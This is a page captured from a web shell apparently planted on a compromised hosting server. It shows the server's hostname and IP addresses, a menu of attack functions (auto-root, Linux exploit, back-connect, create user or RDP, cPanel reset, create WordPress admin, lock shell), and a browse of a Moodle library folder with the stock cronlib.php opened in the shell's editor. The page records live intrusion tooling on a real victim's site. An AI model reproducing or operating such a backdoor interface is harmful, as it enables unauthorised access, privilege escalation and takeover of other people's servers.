Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.219
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
adodb
[ DIR ]
drwxr-xr-x
ajax
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
antivirus
[ DIR ]
drwxr-xr-x
babel-polyfill
[ DIR ]
drwxrwxr-x
behat
[ DIR ]
drwxr-xr-x
bennu
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
ddl
[ DIR ]
drwxr-xr-x
dml
[ DIR ]
drwxr-xr-x
dtl
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
emoji-data
[ DIR ]
drwxr-xr-x
evalmath
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
filebrowser
[ DIR ]
drwxr-xr-x
filestorage
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
geopattern-php
[ DIR ]
drwxr-xr-x
google
[ DIR ]
drwxr-xr-x
grade
[ DIR ]
drwxr-xr-x
horde
[ DIR ]
drwxr-xr-x
html2text
[ DIR ]
drwxr-xr-x
htmlpurifier
[ DIR ]
drwxr-xr-x
http-message
[ DIR ]
drwxr-xr-x
jabber
[ DIR ]
drwxrwxr-x
jquery
[ DIR ]
drwxr-xr-x
ltiprovider
[ DIR ]
drwxr-xr-x
markdown
[ DIR ]
drwxr-xr-x
maxmind
[ DIR ]
drwxr-xr-x
minify
[ DIR ]
drwxr-xr-x
mlbackend
[ DIR ]
drwxr-xr-x
mustache
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
php-css-parser
[ DIR ]
drwxr-xr-x
php-enum
[ DIR ]
drwxr-xr-x
php-jwt
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
phpspreadsheet
[ DIR ]
drwxr-xr-x
phpunit
[ DIR ]
drwxr-xr-x
plist
[ DIR ]
drwxr-xr-x
polyfills
[ DIR ]
drwxr-xr-x
portfolio
[ DIR ]
drwxr-xr-x
requirejs
[ DIR ]
drwxr-xr-x
rtlcss
[ DIR ]
drwxr-xr-x
scssphp
[ DIR ]
drwxr-xr-x
simplepie
[ DIR ]
drwxr-xr-x
spout
[ DIR ]
drwxr-xr-x
table
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
testing
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
typo3
[ DIR ]
drwxrwxr-x
userkey
[ DIR ]
drwxr-xr-x
xapi
[ DIR ]
drwxr-xr-x
xhprof
[ DIR ]
drwxr-xr-x
xmldb
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
yuilib
[ DIR ]
drwxr-xr-x
zipstream
[ DIR ]
drwxr-xr-x
accesslib.php
267.25
KB
-rw-rw-r--
adminlib.php
391.73
KB
-rw-rw-r--
authlib.php
42.17
KB
-rw-r--r--
badgeslib.php
47.45
KB
-rw-r--r--
blocklib.php
99.84
KB
-rw-rw-r--
boxlib.php
8.08
KB
-rw-rw-r--
cacert.pem
239.21
KB
-rw-r--r--
cacert.txt
811
B
-rw-r--r--
clilib.php
9.57
KB
-rw-r--r--
completionlib.php
57.62
KB
-rw-rw-r--
componentlib.class.php
29.2
KB
-rw-r--r--
components.json
3.51
KB
-rw-rw-r--
conditionlib.php
1.11
KB
-rw-r--r--
configonlylib.php
6.48
KB
-rw-r--r--
cookies.js
2.37
KB
-rw-r--r--
cronlib.php
15.06
KB
-rw-rw-r--
csslib.php
6.81
KB
-rw-r--r--
csvlib.class.php
17.71
KB
-rw-r--r--
customcheckslib.php
1.5
KB
-rw-r--r--
dataformatlib.php
1.79
KB
-rw-r--r--
datalib.php
71.86
KB
-rw-r--r--
ddllib.php
4.71
KB
-rw-r--r--
default.ttf
502.23
KB
-rw-r--r--
deprecatedlib.php
109.54
KB
-rw-rw-r--
dmllib.php
12.2
KB
-rw-r--r--
dtllib.php
2.58
KB
-rw-r--r--
editorlib.php
6.43
KB
-rw-r--r--
emptyfile.php
809
B
-rw-r--r--
enrollib.php
119.69
KB
-rw-rw-r--
environmentlib.php
57.34
KB
-rw-r--r--
excellib.class.php
30.29
KB
-rw-r--r--
externallib.php
60.49
KB
-rw-rw-r--
filelib.php
198.24
KB
-rw-rw-r--
filterlib.php
59.46
KB
-rw-r--r--
flickrclient.php
10.1
KB
-rw-r--r--
flickrlib.php
52.39
KB
-rw-r--r--
formslib.php
143.82
KB
-rw-rw-r--
gdlib.php
17.67
KB
-rw-r--r--
googleapi.php
16.83
KB
-rw-rw-r--
gradelib.php
60.98
KB
-rw-rw-r--
graphlib.php
83.1
KB
-rw-r--r--
grouplib.php
47.99
KB
-rw-rw-r--
index.html
1
B
-rw-r--r--
installlib.php
18.06
KB
-rw-rw-r--
javascript-static.js
43.13
KB
-rw-rw-r--
javascript.php
4.09
KB
-rw-r--r--
jslib.php
4.21
KB
-rw-r--r--
jssourcemap.php
2.41
KB
-rw-r--r--
ldaplib.php
18.25
KB
-rw-r--r--
lexer.php
15.92
KB
-rw-r--r--
licenselib.php
12.53
KB
-rw-r--r--
listlib.php
22.53
KB
-rw-r--r--
mathslib.php
4.47
KB
-rw-r--r--
messagelib.php
33.52
KB
-rw-rw-r--
modinfolib.php
120.36
KB
-rw-rw-r--
moodlelib.php
377.09
KB
-rw-rw-r--
myprofilelib.php
18.06
KB
-rw-r--r--
navigationlib.php
249.36
KB
-rw-rw-r--
oauthlib.php
24.56
KB
-rw-r--r--
odslib.class.php
57.36
KB
-rw-r--r--
outputactions.php
7.11
KB
-rw-r--r--
outputcomponents.php
160.86
KB
-rw-rw-r--
outputfactories.php
18.11
KB
-rw-r--r--
outputfragmentrequirementslib....
4.28
KB
-rw-r--r--
outputlib.php
94.67
KB
-rw-rw-r--
outputrenderers.php
209.04
KB
-rw-rw-r--
outputrequirementslib.php
86.36
KB
-rw-rw-r--
pagelib.php
77.61
KB
-rw-rw-r--
pdflib.php
9.23
KB
-rw-r--r--
phpminimumversionlib.php
3.08
KB
-rw-r--r--
plagiarismlib.php
8.15
KB
-rw-rw-r--
portfoliolib.php
53.57
KB
-rw-rw-r--
questionlib.php
88.9
KB
-rw-rw-r--
recaptchalib_v2.php
6.39
KB
-rw-r--r--
requirejs.php
6.9
KB
-rw-r--r--
resourcelib.php
8.91
KB
-rw-r--r--
rsslib.php
17.84
KB
-rw-r--r--
searchlib.php
17.95
KB
-rw-r--r--
sessionlib.php
6.97
KB
-rw-r--r--
setup.php
39.13
KB
-rw-rw-r--
setuplib.php
77.18
KB
-rw-rw-r--
soaplib.php
5.23
KB
-rw-r--r--
statslib.php
67.65
KB
-rw-r--r--
tablelib.php
75.93
KB
-rw-rw-r--
thirdpartylibs.xml
9.44
KB
-rw-rw-r--
tokeniserlib.php
16.48
KB
-rw-r--r--
upgrade.txt
120.5
KB
-rw-rw-r--
upgradelib.php
101.95
KB
-rw-rw-r--
uploadlib.php
1.9
KB
-rw-r--r--
validateurlsyntax.php
23.05
KB
-rw-r--r--
wasmlib.php
4.29
KB
-rw-r--r--
webdavlib.php
68.75
KB
-rw-r--r--
weblib.php
125.18
KB
-rw-rw-r--
wiki_to_markdown.php
13.12
KB
-rw-r--r--
womenslib.php
1021
B
-rw-r--r--
wordlist.txt
1.23
KB
-rw-r--r--
xhtml.xsl
223
B
-rw-r--r--
xmlize.php
8.85
KB
-rw-r--r--
xsendfilelib.php
2.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cronlib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Cron functions. * * @package core * @subpackage admin * @copyright 1999 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Execute cron tasks */ function cron_run() { global $DB, $CFG, $OUTPUT; if (CLI_MAINTENANCE) { echo "CLI maintenance mode active, cron execution suspended.\n"; exit(1); } if (moodle_needs_upgrading()) { echo "Moodle upgrade pending, cron execution suspended.\n"; exit(1); } require_once($CFG->libdir.'/adminlib.php'); if (!empty($CFG->showcronsql)) { $DB->set_debug(true); } if (!empty($CFG->showcrondebugging)) { set_debugging(DEBUG_DEVELOPER, true); } core_php_time_limit::raise(); $starttime = microtime(); // Increase memory limit raise_memory_limit(MEMORY_EXTRA); // Emulate normal session - we use admin accoutn by default cron_setup_user(); // Start output log $timenow = time(); mtrace("Server Time: ".date('r', $timenow)."\n\n"); // Record start time and interval between the last cron runs. $laststart = get_config('tool_task', 'lastcronstart'); set_config('lastcronstart', $timenow, 'tool_task'); if ($laststart) { // Record the interval between last two runs (always store at least 1 second). set_config('lastcroninterval', max(1, $timenow - $laststart), 'tool_task'); } // Run all scheduled tasks. cron_run_scheduled_tasks($timenow); // Run adhoc tasks. cron_run_adhoc_tasks($timenow); mtrace("Cron script completed correctly"); gc_collect_cycles(); mtrace('Cron completed at ' . date('H:i:s') . '. Memory used ' . display_size(memory_get_usage()) . '.'); $difftime = microtime_diff($starttime, microtime()); mtrace("Execution took ".$difftime." seconds"); } /** * Execute all queued scheduled tasks, applying necessary concurrency limits and time limits. * * @param int $timenow The time this process started. * @throws \moodle_exception */ function cron_run_scheduled_tasks(int $timenow) { // Allow a restriction on the number of scheduled task runners at once. $cronlockfactory = \core\lock\lock_config::get_lock_factory('cron'); $maxruns = get_config('core', 'task_scheduled_concurrency_limit'); $maxruntime = get_config('core', 'task_scheduled_max_runtime'); $scheduledlock = null; for ($run = 0; $run < $maxruns; $run++) { // If we can't get a lock instantly it means runner N is already running // so fail as fast as possible and try N+1 so we don't limit the speed at // which we bring new runners into the pool. if ($scheduledlock = $cronlockfactory->get_lock("scheduled_task_runner_{$run}", 0)) { break; } } if (!$scheduledlock) { mtrace("Skipping processing of scheduled tasks. Concurrency limit reached."); return; } $starttime = time(); // Run all scheduled tasks. try { while (!\core\local\cli\shutdown::should_gracefully_exit() && !\core\task\manager::static_caches_cleared_since($timenow) && $task = \core\task\manager::get_next_scheduled_task($timenow)) { cron_run_inner_scheduled_task($task); unset($task); if ((time() - $starttime) > $maxruntime) { mtrace("Stopping processing of scheduled tasks as time limit has been reached."); break; } } } finally { // Release the scheduled task runner lock. $scheduledlock->release(); } } /** * Execute all queued adhoc tasks, applying necessary concurrency limits and time limits. * * @param int $timenow The time this process started. * @param int $keepalive Keep this function alive for N seconds and poll for new adhoc tasks. * @param bool $checklimits Should we check limits? * @throws \moodle_exception */ function cron_run_adhoc_tasks(int $timenow, $keepalive = 0, $checklimits = true) { // Allow a restriction on the number of adhoc task runners at once. $cronlockfactory = \core\lock\lock_config::get_lock_factory('cron'); $maxruns = get_config('core', 'task_adhoc_concurrency_limit'); $maxruntime = get_config('core', 'task_adhoc_max_runtime'); if ($checklimits) { $adhoclock = null; for ($run = 0; $run < $maxruns; $run++) { // If we can't get a lock instantly it means runner N is already running // so fail as fast as possible and try N+1 so we don't limit the speed at // which we bring new runners into the pool. if ($adhoclock = $cronlockfactory->get_lock("adhoc_task_runner_{$run}", 0)) { break; } } if (!$adhoclock) { mtrace("Skipping processing of adhoc tasks. Concurrency limit reached."); return; } } $humantimenow = date('r', $timenow); $finishtime = $timenow + $keepalive; $waiting = false; $taskcount = 0; // Run all adhoc tasks. while (!\core\local\cli\shutdown::should_gracefully_exit() && !\core\task\manager::static_caches_cleared_since($timenow)) { if ($checklimits && (time() - $timenow) >= $maxruntime) { if ($waiting) { $waiting = false; mtrace(''); } mtrace("Stopping processing of adhoc tasks as time limit has been reached."); break; } try { $task = \core\task\manager::get_next_adhoc_task(time(), $checklimits); } catch (\Throwable $e) { if ($adhoclock) { // Release the adhoc task runner lock. $adhoclock->release(); } throw $e; } if ($task) { if ($waiting) { mtrace(''); } $waiting = false; cron_run_inner_adhoc_task($task); cron_set_process_title("Waiting for next adhoc task"); $taskcount++; unset($task); } else { $timeleft = $finishtime - time(); if ($timeleft <= 0) { break; } if (!$waiting) { mtrace('Waiting for more adhoc tasks to be queued ', ''); } else { mtrace('.', ''); } $waiting = true; cron_set_process_title("Waiting {$timeleft}s for next adhoc task"); sleep(1); } } if ($waiting) { mtrace(''); } mtrace("Ran {$taskcount} adhoc tasks found at {$humantimenow}"); if ($adhoclock) { // Release the adhoc task runner lock. $adhoclock->release(); } } /** * Shared code that handles running of a single scheduled task within the cron. * * Not intended for calling directly outside of this library! * * @param \core\task\task_base $task */ function cron_run_inner_scheduled_task(\core\task\task_base $task) { global $CFG, $DB; \core\task\manager::scheduled_task_starting($task); \core\task\logmanager::start_logging($task); $fullname = $task->get_name() . ' (' . get_class($task) . ')'; mtrace('Execute scheduled task: ' . $fullname); cron_set_process_title('Scheduled task: ' . get_class($task)); cron_trace_time_and_memory(); $predbqueries = null; $predbqueries = $DB->perf_get_queries(); $pretime = microtime(1); try { get_mailer('buffer'); cron_prepare_core_renderer(); $task->execute(); if ($DB->is_transaction_started()) { throw new coding_exception("Task left transaction open"); } if (isset($predbqueries)) { mtrace("... used " . ($DB->perf_get_queries() - $predbqueries) . " dbqueries"); mtrace("... used " . (microtime(1) - $pretime) . " seconds"); } mtrace('Scheduled task complete: ' . $fullname); \core\task\manager::scheduled_task_complete($task); } catch (\Throwable $e) { if ($DB && $DB->is_transaction_started()) { error_log('Database transaction aborted automatically in ' . get_class($task)); $DB->force_transaction_rollback(); } if (isset($predbqueries)) { mtrace("... used " . ($DB->perf_get_queries() - $predbqueries) . " dbqueries"); mtrace("... used " . (microtime(1) - $pretime) . " seconds"); } mtrace('Scheduled task failed: ' . $fullname . ',' . $e->getMessage()); if ($CFG->debugdeveloper) { if (!empty($e->debuginfo)) { mtrace("Debug info:"); mtrace($e->debuginfo); } mtrace("Backtrace:"); mtrace(format_backtrace($e->getTrace(), true)); } \core\task\manager::scheduled_task_failed($task); } finally { // Reset back to the standard admin user. cron_setup_user(); cron_set_process_title('Waiting for next scheduled task'); cron_prepare_core_renderer(true); } get_mailer('close'); } /** * Shared code that handles running of a single adhoc task within the cron. * * @param \core\task\adhoc_task $task */ function cron_run_inner_adhoc_task(\core\task\adhoc_task $task) { global $DB, $CFG; \core\task\manager::adhoc_task_starting($task); \core\task\logmanager::start_logging($task); mtrace("Execute adhoc task: " . get_class($task)); cron_set_process_title('Adhoc task: ' . $task->get_id() . ' ' . get_class($task)); cron_trace_time_and_memory(); $predbqueries = null; $predbqueries = $DB->perf_get_queries(); $pretime = microtime(1); if ($userid = $task->get_userid()) { // This task has a userid specified. if ($user = \core_user::get_user($userid)) { // User found. Check that they are suitable. try { \core_user::require_active_user($user, true, true); } catch (moodle_exception $e) { mtrace("User {$userid} cannot be used to run an adhoc task: " . get_class($task) . ". Cancelling task."); $user = null; } } else { // Unable to find the user for this task. // A user missing in the database will never reappear. mtrace("User {$userid} could not be found for adhoc task: " . get_class($task) . ". Cancelling task."); } if (empty($user)) { // A user missing in the database will never reappear so the task needs to be failed to ensure that locks are removed, // and then removed to prevent future runs. // A task running as a user should only be run as that user. \core\task\manager::adhoc_task_failed($task); $DB->delete_records('task_adhoc', ['id' => $task->get_id()]); return; } cron_setup_user($user); } try { get_mailer('buffer'); cron_prepare_core_renderer(); $task->execute(); if ($DB->is_transaction_started()) { throw new coding_exception("Task left transaction open"); } if (isset($predbqueries)) { mtrace("... used " . ($DB->perf_get_queries() - $predbqueries) . " dbqueries"); mtrace("... used " . (microtime(1) - $pretime) . " seconds"); } mtrace("Adhoc task complete: " . get_class($task)); \core\task\manager::adhoc_task_complete($task); } catch (\Throwable $e) { if ($DB && $DB->is_transaction_started()) { error_log('Database transaction aborted automatically in ' . get_class($task)); $DB->force_transaction_rollback(); } if (isset($predbqueries)) { mtrace("... used " . ($DB->perf_get_queries() - $predbqueries) . " dbqueries"); mtrace("... used " . (microtime(1) - $pretime) . " seconds"); } mtrace("Adhoc task failed: " . get_class($task) . "," . $e->getMessage()); if ($CFG->debugdeveloper) { if (!empty($e->debuginfo)) { mtrace("Debug info:"); mtrace($e->debuginfo); } mtrace("Backtrace:"); mtrace(format_backtrace($e->getTrace(), true)); } \core\task\manager::adhoc_task_failed($task); } finally { // Reset back to the standard admin user. cron_setup_user(); cron_prepare_core_renderer(true); } get_mailer('close'); } /** * Sets the process title * * This makes it very easy for a sysadmin to immediately see what task * a cron process is running at any given moment. * * @param string $title process status title */ function cron_set_process_title(string $title) { global $CFG; if (CLI_SCRIPT) { require_once($CFG->libdir . '/clilib.php'); $datetime = userdate(time(), '%b %d, %H:%M:%S'); cli_set_process_title_suffix("$datetime $title"); } } /** * Output some standard information during cron runs. Specifically current time * and memory usage. This method also does gc_collect_cycles() (before displaying * memory usage) to try to help PHP manage memory better. */ function cron_trace_time_and_memory() { gc_collect_cycles(); mtrace('... started ' . date('H:i:s') . '. Current memory use ' . display_size(memory_get_usage()) . '.'); } /** * Prepare the output renderer for the cron run. * * This involves creating a new $PAGE, and $OUTPUT fresh for each task and prevents any one task from influencing * any other. * * @param bool $restore Whether to restore the original PAGE and OUTPUT */ function cron_prepare_core_renderer($restore = false) { global $OUTPUT, $PAGE; // Store the original PAGE and OUTPUT values so that they can be reset at a later point to the original. // This should not normally be required, but may be used in places such as the scheduled task tool's "Run now" // functionality. static $page = null; static $output = null; if (null === $page) { $page = $PAGE; } if (null === $output) { $output = $OUTPUT; } if (!empty($restore)) { $PAGE = $page; $page = null; $OUTPUT = $output; $output = null; } else { // Setup a new General renderer. // Cron tasks may produce output to be used in web, so we must use the appropriate renderer target. // This allows correct use of templates, etc. $PAGE = new \moodle_page(); $OUTPUT = new \core_renderer($PAGE, RENDERER_TARGET_GENERAL); } }
Close